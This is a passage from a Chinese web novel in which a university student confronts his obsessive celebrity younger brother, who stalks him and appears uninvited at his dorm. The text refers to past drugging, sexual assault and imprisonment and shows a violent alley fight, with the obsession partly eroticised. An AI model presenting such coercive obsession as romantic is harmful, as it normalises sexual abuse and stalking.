贺衍眉梢轻蹙了下,注意力被忽然亮起的手机吸引。 微讯里出现了一条信息。 [哥哥想我了吗,哥哥看我今天上午的发布会了吗?] 贺衍瞥了一眼,发了两个字:[没看] 这两个字刚发过去,贺琚的电话紧接着就打过来。 贺衍正准备挂断,屏幕最上方就弹出了一条消息:[如果哥哥不接的话,我下午就去铜海] 贺衍啧了一声,接通了电话,随即起身离开了房间。 黄弘资盯着贺衍的背影,手指无意识地攥紧了衣角。他刚才绝对没听错,电话那头的嗓音,分明就是行水。 所以,现在贺衍和行水的关系,应该没有去年行水说得那么糟糕了吧。 阴沉的天色压下来,厚重的云层吞噬了上午出现的那点稀薄的阳光。 贺衍走出宿舍楼,冷风卷着潮湿的气息扑面而来,可能又要下雨了。 他皱了皱眉,径直往餐厅方向走去。 “哥哥。”电话那头传来贺琚的声音,尾音微微上扬,带着几分甜腻的委屈,“昨天晚上肯定没有看我的消息,我明明告诉哥哥一定要看今天的发布会的。” 贺衍神色淡淡,语气敷衍:“不想看,消息太多了,烦。” “怎么这么冷漠……”贺琚的声音低了下去,像是被刺了一下,但很快又染上几分执拗的黏稠,“我为了哥哥每天在公司里拼命干活,哥哥却不愿意抽出一丁点时间来看我的发布会。” 贺衍漫不经心地“嗯”了一声,目光扫过食堂门口拥挤的人群,脚步未停。 贺琚的呼吸声在听筒里变得明显,像是压抑着什么情绪,又忽然刻意放轻。 “你做得很好,公司有你看着我很放心。”贺衍随口说道,语气平静得像是在评价一个尽职尽责的下属。 电话那头沉默了一瞬,随即贺琚低低地笑了,声音轻柔得近乎病态:“哥哥总是这样……明明知道我想听的不是这种话。” 他顿了顿,又像是撒娇般软下嗓音:“哥哥既然知道我表现得很好,那哥哥能不能奖励我?” 贺衍脚步微顿,眼底闪过一丝不耐,但很快又恢复如常。 他太清楚贺琚的性格,越是纵容,越是得寸进尺。 贺衍只是淡淡地回了一句:“以后再说吧。” 贺琚呼吸微滞,随即轻笑出声,声音里带着餍足的愉悦:“好,我听哥哥的。” 贺衍没再回应,直接挂断了电话,眉头微蹙,心里却没什么波澜。 他抬头看了眼又放晴的天空,最近的天气还真是阴晴不定。 而电话那头,贺琚盯着黑下去的屏幕,指腹轻轻摩挲着手机边缘,眼底翻涌着病态的满足。 “哥哥……真狡猾啊。” 贺衍吃过午饭,便再次去了图书馆。但因为图书馆晚上要维修,贺衍便早早回到了宿舍。 七点不到,贺衍迈进了宿舍大楼。 黄弘资在宿舍里纠结了一个下午,终于下定了决心。 听到门锁转动的声响,黄弘资瞳孔猛缩,是谁回来了? 看到贺衍,黄弘资双眼瞬间发亮。 “你……”贺衍推门而入,话头突然卡在喉咙里,“有事?” 黄弘资深吸一口气:“你吃饭了吗?” “吃过了。” 黄弘资干笑两声:“那,要不,咱俩出去散个步?” 贺衍意味深长地盯着黄弘资看了几眼,直到黄弘资冷汗都快冒出来的时候,终于点头说道:“可以。” 暮色渐沉,夕阳的余晖斜斜地落在地面,整个校园都蒙上了一层昏黄的光晕。 路灯一盏接着一盏地亮起。 黄弘资还在组织语言,却忽然听到贺衍冷不丁地出声:“有事说事,你都憋了一天了,还不打算说吗?” 黄弘资咽了口唾沫,声音还有些发颤:“那个,贺衍,我能拜托你一件事吗?” “什么事?” 黄弘资舔了下嘴唇,干笑了两声:“就是,行水,行水他——” 贺衍眉毛蹙起,垂眸看向黄弘资。 昏暗的灯光下,他的半张脸隐藏在阴影中,眉梢微微下压,比平日多了几分莫名的压迫感。 黄弘资看到贺衍的表情,被吓得心跳加速,声音更加结巴起来:“贺衍,如果行水来找你的话,能不能拜托你让他见一见孟凝心。你知道的,孟凝心特别喜欢行水。” 贺衍眼眸微眯,他声音平静地问道:“你为什么会觉得我认识行水?又为什么觉得行水会来找我?” 黄弘资眼底闪过一丝纠结,还是终于开口道:“其实,去年我见过行水。那个时候你喝得太醉了,然后行水就扶着你把你送到了宿舍。他说你和他是一家人,然后——” 贺衍瞳孔骤缩,呼吸猛地一滞。他去年,什么时候喝醉过,他怎么一点印象都没有。 贺衍的眼皮忽然跳了起来,他的唇瓣抿成一条直线,忽然开口打断了黄弘资:“抱歉,你先告诉我,去年你是什么时候见到他送我回宿舍的?” 黄弘资挠了挠头:“大概是秋天吧,或许是十月份?我记不太清了。” 去年十月份? 贺衍的眸色彻底暗了下去,他的指尖发颤,勉强压下心头翻涌的怒意:“你还记得他穿得是什么吗?” 黄弘资皱着眉,想了好一会儿:“风衣?他肯定戴墨镜了,因为当时我还以为他是什么可疑人物,所以记得特别清。” 贺衍忽然低笑了一声,只是这声音像是从齿缝里硬挤出来的一样,带着几分森冷的意味。 黄弘资浑身汗毛竖起,他吓得退后半步。 贺衍的嘴角虽然扬起,但眼底却结着冰,眉骨投下的阴影让那双眼睛显得愈发阴沉。 他抬手松了松领口,指节绷得发白,仿佛下一秒就会攥成拳头砸在墙上。 去年的那个晚上,他的确见到了贺琚。 那个被绑在椅子上的梦—— 也不是梦。 第117章 第 117 章 桃花树下 贺衍此刻的表情实在太过骇人, 黄弘资后背一凉,下意识深吸一口气,直接鞠躬开始道歉:“贺衍, 对不起!当初是我不该瞒着你, 但行水他……” 他喉咙发紧,硬着头皮继续解释。 那天晚上行水送醉酒到不省人事的贺衍回来, 不仅亲口说过他们是兄弟,而且行水还从手机里翻出了他和贺衍的合照,还说了一些跟贺衍相关的细节,这些根本作不了假。 “他说……你们之间有些家事没处理好,怕你知道是他送我回来的会更生气, 所以让我保密。” 黄弘资越说声音越小, 最后几个字几乎吞进了肚子里。 贺衍眼睑猛地抽动, 指节在身侧攥得发白。他的唇角溢出一声极轻的嗤笑,舌尖顶了顶腮帮,果然是贺琚那疯子会做的事。 为什么道歉之后贺衍看起来更生气了? 黄弘资紧张地咽了口唾沫, 等过了好一会儿,他才小心翼翼抬头:“那个, 贺衍,你还好吗?” “没事。”贺衍抬手捏了捏眉心, 再开口时已经恢复平静, “继续说正事。孟凝心为什么非要见行水?” “她高三那年奶奶重病, 家里凑不出手术费。”黄弘资连忙解释, “她本来打算退学打工,就在她极其绝望准备退学之前给行水的社交账号发了条私信,然后行水不仅联系了她,还承担了她奶奶全部医疗费。” 贺衍突然怔住, 树影婆娑,昏黄的街灯照在身上,将他半边脸笼罩在斑驳的光影里。 他的眼底划过一丝波动,原来是因为这个原因。 贺衍喉结滚动了一下,声音有些哑:“她奶奶,现在怎么样?” 这问题出乎意料。 黄弘资眨了眨眼:“手术很成功,老人家现在身体硬朗着呢。” “这样啊,很好。” 贺衍的声音很轻,他笑了下,紧绷的气氛终于松动些许。 黄弘资松了一口气。 贺衍垂眸,睫毛在眼下投出一小片阴影:“如果行水来铜海,我会告诉你。不过他行程不定,别抱太大希望。” “真的?太感谢了!”黄弘资眼睛瞬间亮起来,一拳轻捶在贺衍肩上,但被贺衍躲开了。 黄弘资也不在意,他笑得见牙不见眼,方才的忐忑一扫而空:“就知道你小子够意思!下周你的饭钱我全包了,管饱!” “不用。” 说开之后,两人漫步走回宿舍。 天已经彻底黑透了,路灯将昏黑的校园照亮。 星河湾宿舍区前面的小路上两侧种着桃花,走进后,隐约能闻到空气里浮动着桃花的甜香。 路灯昏黄的光晕透过层层叠叠的花瓣,在路上投下斑驳的碎影。 贺衍踩着湿漉漉的落花往前走,身后来了辆自行车,他往右躲了躲,衣袖不小心碰到了缀满水珠的枝条。 贺衍蹙了下眉,花瓣飘落划过他的脸颊,随后打着旋落到了地面。 黄弘资压在心里的石头终于卸下来,此时看什么都非常顺眼。 他听到贺衍那边簌簌的轻响,目光随之移到了路两侧的桃花树上,忽然感叹了一句:“这花开得可真好,之前怎么没感觉这么好看呢。” 黄弘资正要再感叹几句,余光却瞥见不远处的桃花树下的一对身影。 高挑男生微微低头,他对面的女生仰着头,正在递什么东西给他。 黄弘资猛地刹住脚步。 卧槽!那不是裴屷吗? 路灯照亮了女生的面容,黄弘资眼睛猛地睁大,这是孟凝心的舍友,好像还是她们系的系花来着。 两人站在纷飞的花雨里,画面美好得像幅油画。 可黄弘资脑子里却炸开了锅,虽然俊男美女站在桃花树下的画面格外吸睛,但裴屷不是喜欢贺衍吗? 黄弘资一脸震惊,他瞥了眼旁边一脸生人莫近的人。 贺衍眼眸半垂,并没有注意到那边,他不知道在想什么,眉梢蹙着,眉骨阴影落在眼上,显得那双眼睛更冷了。 “贺衍,你看那边!” 黄弘资低声的轻呼打断了贺衍的沉思。 他示意贺衍往那个方向看:“喏,你看那个是不是裴屷。旁边是文学系的系花。他们俩?” 黄弘资话说了一半,但其中的意味很明显。 贺衍的目光落在了那处。 裴屷的对面是一个很美的女生,黑色的长发在街灯下闪着光泽,皮肤也很白。 这种场景,的确很容易让人误会。 贺衍在那个女生身上停留了一会儿,随后移开了目光,他侧眸看向黄弘资:“怎么了吗?” 黄弘资声音不自觉地压低:“你不觉得他们俩刚才的气氛,有点……嗯……” 他做了个模糊的手势:“就是那种说不清道不明的感觉?” 贺衍闻言挑了挑眉:“所以?” 黄弘资咽了咽口水,眨眼的频率加快,他硬着头皮继续道:“你就没什么特别的感觉?” 话一出口他就后悔了,恨不得咬掉自己的舌头。 贺衍本来还在想贺琚的事情,眼底还凝着未散的冷意,他停下脚步,看向黄弘资,平静地询问道:“我该有什么特别的感觉?” 黄弘资顿时了然,自己先前的揣测不过是一场瞎想,所以大概是自己这段时间因为失恋太敏感了,这两人肯定没有什么嘛。毕竟要是放自己身上,看见自己的女朋友和异性相处,肯定心里会不舒服的。 他连忙摆手,干笑两声往后退了半步:“我就是随口一说。” “走吧。”贺衍说完后,迈开了步子。 黄弘资“嗯”了一声,他再次往对面看了一眼,那个女生已经转身离开了,背影很快便消失在转角处。 “贺衍,”他压低声音,“那个女生走了诶。” 一阵晚风倏然而过,枝头的桃花纷纷扬扬地坠落。路灯的光晕在空气中晕染开来,将飘落的桃花瓣映照得近乎透明。 贺衍闻言抬眼,目光穿过纷扬的花雨。就在这时,站在桃花树下的裴屷似有所觉,忽然抬起头来。 两人的视线在半空中交汇。 粉白的花瓣落在裴屷的肩头和发间,他抬手随意拂去,迈开步子朝这边走来,鞋踩在还有些湿润的路上,发出轻微的声响。 “好巧。”裴屷在距离贺衍几步远的地方站定,声音低沉悦耳。 他的目光在贺衍脸上停留了一瞬,眼角微微弯起,带着若有似无的笑意。 贺衍点了点头,神色如常。 裴屷的脚步微微一顿,目光落在贺衍的肩头的粉白花瓣上,下意识抬手想要拂去,但也只是指尖颤了下。 “石教授下周要去奈杜州的州立大学做学术指导。”他侧头看向贺衍,镜片后的眼睛映着路灯的光,“我会随行。大概要去一个月。” “他正式收你进课题组了?” “还没,还需要考察。”裴屷轻轻摇头,他停顿片刻,又补充道:“这次算是阶段性考核。” 夜风掠过,卷起的花瓣打着旋儿从两人之间穿过。 裴屷的目光追随着那些飘远的花瓣,喉结不明显地滚动了一下:“所以,得好好表现才行。” 这句话说得很轻,像是在自言自语。 黄弘资插不上话,他耸了耸肩,跟在两人后面。 与此同时,网络上行水退圈的消息也在持续发酵。 行水退圈这个词条在热搜榜单上整整挂了一天,各大社交平台都被这场突如其来的爆炸性消息席卷。 各种议论和猜测像潮水一般淹没了整个网络。 而就在当晚,一条看似普通的微博悄然出现,如同一颗石子投入沸腾的油锅—— [难道没人好奇行水说的那个是谁吗?] 发帖人的ID是一串乱码,头像空白,没有任何个人资料。 起初,这条微博淹没在无数讨论中,直到一个刚注册的账号回复:[我知道行水是谁,也知道他喜欢的那个人是谁。] 紧接着,这个匿名账号发出了一张模糊的照片。 照片的拍摄时间应该在傍晚,在朦胧的光影中,哥特式城堡群的尖顶轮廓在暮色中若隐若现。 镜头焦点处,一个男生的侧影被刻意虚化处理,但即便如此,在那片模糊的轮廓中依然能辨识出完美的侧脸线条。 微博下面的评论瞬间炸开了锅。 [卧槽?这是P的吧!] [行水退圈不会是因为他吧?] [不知道能不能说,但这个背景,我总感觉有点像一个地方] [像什么地方,话别说一半啊?!!!] [我也觉得有点像那个学院] [难道行水之前也上的这个学院吗,老天,那他绝对是真的大少爷,这地方可不是一般人能上得起的] …… [圣洛莱索吗?] [我艹,你还真说出来了!!!] 评论区的讨论越来越热烈,转发量以惊人的速度攀升。 有人开始深扒照片里的那个人是谁,但始终没有人真正找到,那个新注册的账号发完照片之后也再没说过一句话。 然而,就在舆论即将失控的边缘—— 帖子消失了。 不仅原帖被删除,连发布者的账号也显示“已注销”。 那些截图转发的营销号也纷纷删博,相关词条的热度也被强行压了下去。 而这一切只用了不到半个小时的时间,像是被一只无形的手硬生生掐灭了一样,仿佛这个讨论从未存在过。 三人走回宿舍。 裴屷自然地走到了贺衍旁边。 黄弘资看着他们聊天,却没有一个人提刚才那个女生的事情。 贺衍怎么不问刚才裴屷和那个女生在干什么,他难道真的一点都不好奇吗。黄弘资心里像有只爪子在胸腔里挠,很是刺挠。 黄弘资咽了一口唾沫,他好奇到不行,刚走回宿舍,就忍不住给孟凝心发了条消息,问她知不知道发生了什么。 但直到一个多小时后,对面才回复:[她去表白了,但是被拒绝了。我不太清楚她跟谁表白了,刚才我们宿舍都在安慰她,没看见消息。] 孟凝心:[你朋友真的认识行水吗?那他知道行水是为了谁才进圈的吗?] 孟凝心发给黄弘资一张截图:[吃到的瓜,但不知道真假。] 黄弘资扫了眼图片,余光看到贺衍已经躺到了床上。 [等明天我帮你问问。] 第二天是周末,清晨,天刚蒙蒙亮,宿舍里一片静谧。 裴屷很早就醒了过来,贺衍也已经醒了,只有黄弘资还蜷在被窝里,睡得正熟。 裴屷拉着行李箱走出宿舍,指尖刚搭上门把手,忽然察觉到身后的视线。 他回头,看见贺衍站在门内。 逆着晨光的剪影修长而挺拔,他的发梢也被镀上一层浅淡的光晕。 “我送你。”贺衍开口,嗓音还带着刚睡醒的低哑。 裴屷唇角不受控地扬了一下,又很快抿住,低头轻轻“嗯”了一声。 第118章 第 118 章 “哥哥在洗澡吗?”…… 晨光透过窗帘的缝隙斜切进来, 黄弘资听到宿舍大门打开的声音,迷迷糊糊地支起身子,发现宿舍里空无一人。 迷糊了好一阵, 黄弘资打了个哈欠, 他摸到枕边的手机,眯着眼看了半天才确认时间, 才早上八点。 黄弘资把脸埋进枕头里,正打算再睡个回笼觉,门锁又一次转动起来。 贺衍推开门,走到书桌前,将书包斜挎到肩上。 “等等!”黄弘资一个激灵彻底清醒, 手忙脚乱地扒着床栏探出半个身子。他昨晚答应孟凝心要打听的事, 差点又忘了。 “贺衍, 问你个事呗?” 贺衍的手搭在门把上,微微侧头:“说。” “那个,”黄弘资抓了抓睡成鸟窝的头发, 斟酌着用词,“你知道行水当初为什么想进娱乐圈当演员吗?” 贺衍握着书包背带的手突然绷紧, 骨节泛白。 脑海中忽然浮现一个画面。 [灰色调的房间内,他被捆在了一把柔软的皮质椅子上, 嘴里似乎被塞着什么东西, 无法说话。 贺琚单膝跪在他的前面, 他仰起头, 舌尖上还沾着什么。 “哥哥知道我为什么想当演员吗?”贺琚的声音带着气音。 他笑了下,像展示战利品般缓慢舔过唇角:“因为只有站在镜头前,哥哥才能一直看到我听到我,忘不掉我。”] 本来已经遗忘的画面再次浮现在脑海之中。 贺衍猛地闭眼, 再睁开时,眼底已经结了一层冰,他扯了下嘴角,甩出了三个字:“不知道。” 黄弘资被这突如其来的低气压吓得缩了缩脖子,还没等他再开口,贺衍已经消失在了宿舍。 五月中旬的铜海已经完全被夏季攻陷,星河湾宿舍区道路两旁的粉意已经被绿叶取代。 烈日炙烤着校园,蒸腾的热浪扭曲了远处的景物,连蝉鸣都显得有气无力。 校园里的梧桐树蔫头耷脑地立着,偶尔一阵热风掠过,树叶发出沙沙的响声,却带不来半分凉意。 与此同时,期末周也悄然来临,整个铜海大学都笼罩在紧张的氛围中。 图书馆再次爆满,连餐厅里都坐满了埋头苦读的学生。 贺衍没能抢到图书馆的座位,而黄弘资本来就不喜欢去图书馆。于是,两人顺理成章地留在了宿舍。 贺衍坐在书桌前,修长的手指扣住冰可乐的拉环,“嗤”的一声轻响,罐口冒出丝丝凉气。 他仰头喝了一口,喉结随着吞咽的动作上下滚动。 水珠顺着铝罐滑落,沾湿了他的指尖。 黄弘资趴在桌子上,时不时偷瞄一眼贺衍。距离上次他拜托贺衍已经过去了快一个月,但贺衍那里还是没什么信儿。孟凝心也没催促他,似乎从最开始就认定这件事是自己在瞎说。 “她肯定觉得我在吹牛。”黄弘资低声嘟囔着,烦躁地抓了抓头发,把脸埋进摊开的课本里。 他当然想证明自己没说谎,可又不能直接去质问贺衍,毕竟对方能答应帮忙就已经很够意思了。 空调在头顶呜呜作响,黄弘资偷瞄了一眼贺衍,决定找个话题打破沉默:“那个,再过两周就要考试了,裴屷还不打算回来吗?” 贺衍把可乐罐放到一边,随口回道:“大概下周吧。” 黄弘资眨巴了下眼,这俩人果然有偷偷联系,但他现在的重点不是这个。 黄弘资“哦”了一声,赶紧趁势追问:“那你知道行水的行程吗,他最近会来铜海吗?” 空气突然凝滞了一瞬。 贺衍翻书的动作微不可察地顿住,他的眼睛暗了暗。自从上次知道的那件事之后,他就直接把贺琚的所有联系方式都拉黑了。 “不清楚,我们很长时间没联系了。” 黄弘资像只泄了气的皮球,整个人瘫在桌子上。 贺衍将可乐放在一旁,重新翻开笔记本,笔尖在纸上划出沙沙的声响。黄弘资叹了口气,认命地拿起自己的课本,加入了复习的行列。 铜海机场的落地窗外,暮色渐沉。 一架银白色的飞机划破云层,稳稳降落在跑道上,舷梯旁,一个修长的身影缓步而下。 男人穿着件浅灰色的亚麻衬衫,下半身是一条黑色休闲裤。他的袖口随意地挽到手肘处,露出线条分明的小臂,衬衫最上面的两颗纽扣没系,整个人透着漫不经心的优雅。 两个小时后,天色已经昏暗,星河湾宿舍区笼罩在夏夜的闷热中。 街灯在路面上投下一个个昏黄的光圈。 铜海大学的西门,戴着黑色鸭舌帽的男人刷着不知道从哪里弄来的学生卡,走进了校园内。 他的身量极高,几乎比周围的男生都要高出一头。 夜风拂过,微卷的发丝从帽檐下探出几缕,在脖颈处勾出慵懒的弧度。宽大的墨镜遮住了半张脸,口罩将剩余的部分也藏得严严实实,但挺拔的鼻梁轮廓依然清晰可见。 路过的人不自觉地放慢脚步,偷偷打量这个人。 即便看不到容貌,但那优越的头身比和周身的气场,也足以让人确信,这绝对不是一个不同人。 路过的女生们不自觉地放慢脚步,几个男生也忍不住回头张望,小声议论这是不是哪个来学校取景的明星。 树影婆娑间,男人的身影在路灯下拖出长长的影子,很快消失在星河湾宿舍区的转角处。 星河湾宿舍区一号楼。 黄弘资把脸埋在课本里,书本上的油墨味让他更加心烦意乱,草稿纸上画满了各种歪歪扭扭的IS-LM曲线,像一群扭动的蚂蚁。 “贺衍,贺大学霸,贺神——”他突然仰天长叹,“为什么你是法律系的啊啊啊!为什么这学期我们一样的课程就只有只用背的公共课啊啊啊啊!” 黄弘资痛苦地哀嚎了一番,又开始埋头苦读。 贺衍合上笔记本,揉了揉发酸的后颈。 他起身从衣柜里取出浴巾,浴室的门轻轻合上,很快,淅淅沥沥的水声传了出来。 氤氲的水汽在磨砂玻璃门上凝结成细密的水珠,模糊了里面晃动的身影。 黄弘资大脑发胀,已经放弃了复习,正瘫在桌面上刷手机。 宿舍大门那里忽然传来了一阵不紧不慢的敲门声。 黄弘资看了眼时间,晚上八点多,这个点会是谁?难道是裴屷回来了,但门又没锁,他敲门干嘛。 “来了来了!”他趿拉着拖鞋走到门口,心里还在嘀咕是不是楼管来查寝。 黄弘资拉开门的一瞬间,呼吸猛地停滞—— 门外站着一个高大的男人。 黑色鸭舌帽压得很低,脸上还戴着墨镜和口罩,根本看不清脸。 但黄弘资却瞬间意识到了他是谁:“行……行水?!” 他的声音卡在喉咙里,几乎变成了一声气音。 男人点了点头,自然地侧身进门。他的目光在浴室门外停留了一下,又在宿舍内环视一圈,随后坐在了贺衍的椅子上。 手指在桌面上轻轻叩击,发出规律的轻响。 他看着桌面上整齐叠放好的衣服,唇角的笑意忽然变大。 浴室里的水声仍在继续,贺衍显然没听到外面的动静。 黄弘资僵在原地,他张了张嘴,不知道该怎么开口。不过下一秒,他的脑海里就出现了孟凝心知道这个消息后的笑脸。 就在这时,男人突然抬手摘下了帽子以及脸上的墨镜和口罩。那张脸漂亮得近乎锋利,整个人像是被柔焦镜头笼罩着,连发梢都泛着朦胧的光。 “你好。”他对着黄弘资弯了弯眼,唇角勾起一抹浅笑,“哥哥在洗澡吗?” 黄弘资反应了一会儿,才意识到他说得是贺衍,然后点了点头。 浴室的门突然“咔哒”一声开了一条缝,蒸腾的水汽从里面涌出。 “黄弘资,”贺衍的声音混着水声传来,“我衣服忘拿了,就在桌上,递我一下。谢了。” 黄弘资正准备去拿衣服,却见行水已经起身,修长的手指轻轻勾起那叠衣物,动作自然地走向浴室。 第119章 第 119 章 “疯狗。” 第119章 浴室的门被敲响了。 “给我吧。”贺衍以为是黄弘资, 他微微拉开玻璃门,半掩的门扉恰好可以将衣服递进去。 但门外的人并没有动静,贺衍眼中闪过几分疑惑:“黄弘资?” 他出声后, 一只手伸了进来, 手腕的线条修长,骨节分明, 但这不是黄弘资的手。 一声熟悉的轻笑从门外传来,但贺衍的眸色却骤然冷了下来。 贺琚尾音微微上扬:“哥哥,惊喜吗?” 贺衍一把扯过衣服,“砰”的一声关上了门。 贺琚站在浴室外,斜倚在浴室正对面的墙面上。 他微微偏着头, 耳畔几缕微卷的发丝垂落, 狭长的双眸微微眯起, 动也不动地盯着浴室的方向。 衣料摩擦的细微声响从浴室里传来。 贺琚浓密的睫毛轻轻颤了颤,墨黑的瞳孔里泛起一丝晦暗的笑意。 黄弘资站在原地,大气都不敢出。 他小心翼翼地用余光打量行水, 却发现对方的目光像是被黏在了浴室门上一样,一寸都不曾移动。 贺衍打开浴室的玻璃门, 发梢的水珠顺着脖颈滑落,没入了衣领深处。 贺琚扬起唇角, 向前迈了一步, 他伸手想要触碰贺衍还在滴水的发梢, 却在半空中被狠狠拍开。 贺琚却丝毫不恼, 反而笑出了声。 黄弘资一脸古怪,这兄弟俩之间的氛围,感觉有点怪怪的,不像是自己最开始以为的那种简单的家庭矛盾。 贺衍眉梢紧蹙, 脸色阴沉得可怕,连空调的冷气都比不上他周身散发的寒意。 “哥哥还是这么冷淡。”贺琚叹息般说道,向前逼近一步,“这么长时间没见面,哥哥想我了吗?” 他的声音很轻很柔,像是情人间的呢喃一般,带着说不出的缠绵意味。 贺衍嗤笑了一声,声音冷硬:“滚!” 宿舍里的温度仿佛瞬间降至冰点。 贺琚却恍若未闻,目光落在贺衍湿漉漉的发梢上。他的眼神带着炽热的温度,从发梢滑落,描摹着贺衍眉眼轮廓,最后停在他紧抿的唇上。 “哥哥还是先把头发擦干,”他声音温柔的几近蛊惑,笑着说着,“虽然现在是夏天了,但湿着头发容易头疼。” 贺衍扯了下嘴角,下颌线绷得极紧,心底的怒意在胸腔翻腾,手背上淡青色的血管清晰可见。 “贺琚,我以为上次我们已经说清楚了,”贺衍眼尾微挑,眸色凌厉,每个字都像从牙缝里挤出来一样,“你出现在这里,找死吗?” 贺琚?所以行水果然也姓贺啊。 黄弘资心里嘀咕了一句,抬眼的瞬间,却被贺衍浑身上下的冷意给惊到了。 这个大明星到底和贺衍有多大的矛盾啊。 黄弘资偷偷把目光落到了贺琚身上,忽然头皮一阵发麻。 卧槽! 黄弘资忍不住倒吸一口凉气。 那个眼神真的没问题吗?他们不是兄弟吗?!! 是自己看错还是—— 黄弘资不由自主地打了个寒颤。 电光石火间,他突然想起了前段时间他问贺衍的那个问题的时候,贺衍那种全然反常的暴怒。 黄弘资震惊得差点咬到舌头,难道行水进娱乐圈,居然是为了贺衍?! 但这不是—— 黄弘资瞳孔骤缩,神色里满是震惊。 贺琚忽然侧头瞥了一眼黄弘资,墨黑的眼睛里翻涌着令人胆寒的暗潮,眼神冰冷,像是在看一件碍事的摆设。 黄弘资顿时僵在原地,他这个眼神跟刚才那个温润如玉的大明星完全判若两人。 “我才知道,”贺琚重新将目光转回贺衍身上,“原来裴屷居然和哥哥一个宿舍。” 贺琚的眼神带着赤裸裸的占有欲,藏着某种近乎虔诚的迷恋,让人毛骨悚然。 那种疯狂的爱意混杂着执念,在空气中几乎凝成实质,压得人喘不过气来。 他歪了歪头,几缕碎发垂落在额前,他还在笑着,可眼神却阴鸷得可怕:“哥哥为什么不告诉我呢?裴屷和哥哥住在一起多久了?” 黄弘资在心里疯狂吐槽:你是完全忘记这个宿舍还住着第三个人吗?!所以贺琚居然也认识裴屷?这到底是什么复杂的三角关系? 贺衍不耐烦地看了他一眼:“告诉你干什么,跟你有什么关系。” 他的喉结随着说话上下滚动,鼻梁上还挂着几颗细小的水珠,在灯光下折射出细碎的光芒。 贺衍的目光扫过桌面上散落的墨镜和口罩:“遮住你的脸,跟我出来。” “哥哥,”贺琚委屈地撇了撇嘴,“外面好热,我们不能在这里说吗?” 话虽这么说,他却已经乖巧地拿起墨镜戴到了脸上。 五月中旬,铜海已然进入了夏季。 夜风吹过,却也只带来了一片闷热,伴随着此起彼伏的蝉鸣声,三三两两的学生在道路上穿行。 只是,当他们看到某处时,都不约而同地放慢了脚步。 不远处,一前一后走着两个身材出挑的男人。 走在前面的青年背影挺拔,浑身散发着生人勿近的气场;后面那位戴着鸭舌帽的高挑男人则是亦步亦趋地跟着那人的身后。 这两人之间保持着恰当的距离,彼此之间更是沉默无声,但那人却莫名给人一种如影随形的压迫感。 贺衍脚步微停,拐进了星河湾宿舍区附近的一条小巷。 贺琚唇角笑着,眯着眼看了下四周,眼底闪过一丝了然的神色。 但他依旧跟着贺衍,脚步并未停下。 小巷里很是昏暗,路口的灯因为最近前段时间的大雨早已罢工,到现在还没有修。 远处主干道的灯光照不到这里,只有微弱的月光隐约透了进来。 巷子狭窄,闷热的感觉比外面还要重。 贺衍走到巷子深处站定。 他抬眸,语气平静:“你对这里还有印象吗?” 贺琚眨了下眼,睫毛忽闪着,他笑着说道:“怪不得哥哥前段时间突然拉黑我了,原来是因为这样啊,我当然有印象了。” 他又向前迈了一步,微微俯身:“哥哥,在那天,你的确在这里遇到了我。” 贺琚说这话的时候,声音很是甜蜜。 他比之前长高了太多,高出贺衍大半个头,此刻俯下身来,几乎完全将贺衍笼罩住,带着极强的压迫感。 “哥哥怎么不说话。”贺琚低声抱怨了一句,但很显然他并不在意。 贺衍眸底没什么情绪,一脸漠然,只有垂在身侧的手,攥成了拳。 贺琚的唇角笑意不见半分,他又凑近了贺衍,两人的呼吸几乎交错。 夜风拂过,混合着夏夜特有的燥热,在两人之间形成一种诡异的暧昧氛围。 “哥哥,如果那天没有我,哥哥就觉得自己能逃掉了吗?” “说完了吗?” 贺衍抬眸看向他,猛地揪住贺琚的衣领。 贺琚呼吸明显一滞。 “砰”的一声闷响,他的后背撞上粗糙的砖面,痛意通过神经穿到大脑,但他闷哼后反而笑了出来。 贺衍神色冷鸷,半点没有给他喘息的时间,直接出拳砸向了那张脸。 贺琚的头被打得偏向一侧,嘴角立刻渗出血丝,他伸出舌尖舔了舔。 “好奇怪啊,哥哥为什么会这么生气呢,鄢忬可以,岑靳可以,裴屷也可以。为什么我不可以?” “我帮了哥哥了那么多,为什么只有我没有奖励呢。” 这句话彻底激怒了贺衍,他一记重拳砸向贺琚腹部,紧接着膝盖狠狠顶向对方。 可贺琚不躲不闪,硬生生接下了这个撞击,他整个人都蜷缩了一下,却依然笑得开心。 “你这个疯子。”贺衍猛地揪住贺琚的衣领,一个利落的过肩摔将人狠狠掼在地上。 贺琚的后背重重撞上潮湿的水泥地,痛得弓起身子,唇角却依旧溢出了一丝愉悦的轻笑。 他抬手抹去脸上的血迹,望着居高临下的贺衍,眼底的痴迷反倒更加深了:“哥哥,消气了吗?” 贺琚仰躺着,昂贵的衬衫沾满尘土和血迹,漆黑的瞳孔在暗处扩张,翻滚着浓稠的欲色。 就在这个瞬间,贺琚倏然起身环住了贺衍的腰。 他将脸埋进对方的腹部,鼻尖抵着贺衍紧绷的肌肉深深吸气,贪婪地汲取着他的气息。 贺琚声音闷在衣料里,带着几分疼痛的颤意:“打也打过了,哥哥能不能……别赶我走?” “贺琚。”贺衍踹开他,一脚踩上他的胸口,膝盖微曲,布料绷紧露出大腿肌肉凌厉的线条,整个人散发着骇人的戾气。 “你把我当什么东西了?”他声音很轻,却让空气都凝出冰碴,“下药、迷.奸、囚禁,你做的这些事情,足以坐一辈子监狱。” 夏夜的燥热在此刻凝固,蝉鸣声中,贺琚的喘息混着血腥味在两人之间蔓延。 “下药、迷.奸、囚禁……”他居然低笑起来,喉结滚动着,“哥哥记得真清楚……” 斑驳昏暗的光影下,贺衍的胸膛剧烈起伏着,他抬手将汗湿的额发粗暴地捋到脑后,露出那双燃着暗火的眼睛。 汗水顺着他的脖颈滑落,没入衣领深处。白色的短袖紧贴在身上,勾勒出他精瘦的腰线和腹肌,只是衣摆突兀地沾着零星的血迹。 “如果哥哥能消气的话,”贺琚突然抓住他的脚踝,“我可以现在就去自首——” 他声音沙哑,却带着诡异的甜蜜:“判无期、死刑……什么都好……” “别开玩笑了!”贺衍猛地抽回腿。 他揪住贺琚的衣领将人提起:“对你这种人来说,监狱不过是换个地方度假罢了。” 话音未落,一记膝撞再次狠狠击对方的腹部。 “疯狗。”贺衍冷嗤一声。 第120章 第 120 章 热搜 贺琚痛苦地喘息着, 疼得浑身都在颤抖,几乎快要干呕,感觉五脏六腑都移了位置。 哥哥, 还真是丝毫不手软啊。 贺琚唇瓣紧抿着, 眼睛却依旧在笑,他的眼眶都在用力, 额发已经被冷汗浸湿,眼底却满是暗色的疯狂。 贺衍静静地站在原处,垂眸看着躺在地上的贺琚。 真是奇怪啊,贺琚为什么会对自己有这么大的执着呢。真要算下来,他和贺琚的交集, 也就最开始在圣洛莱索的那短短三个月罢了。 他记得清清楚楚, 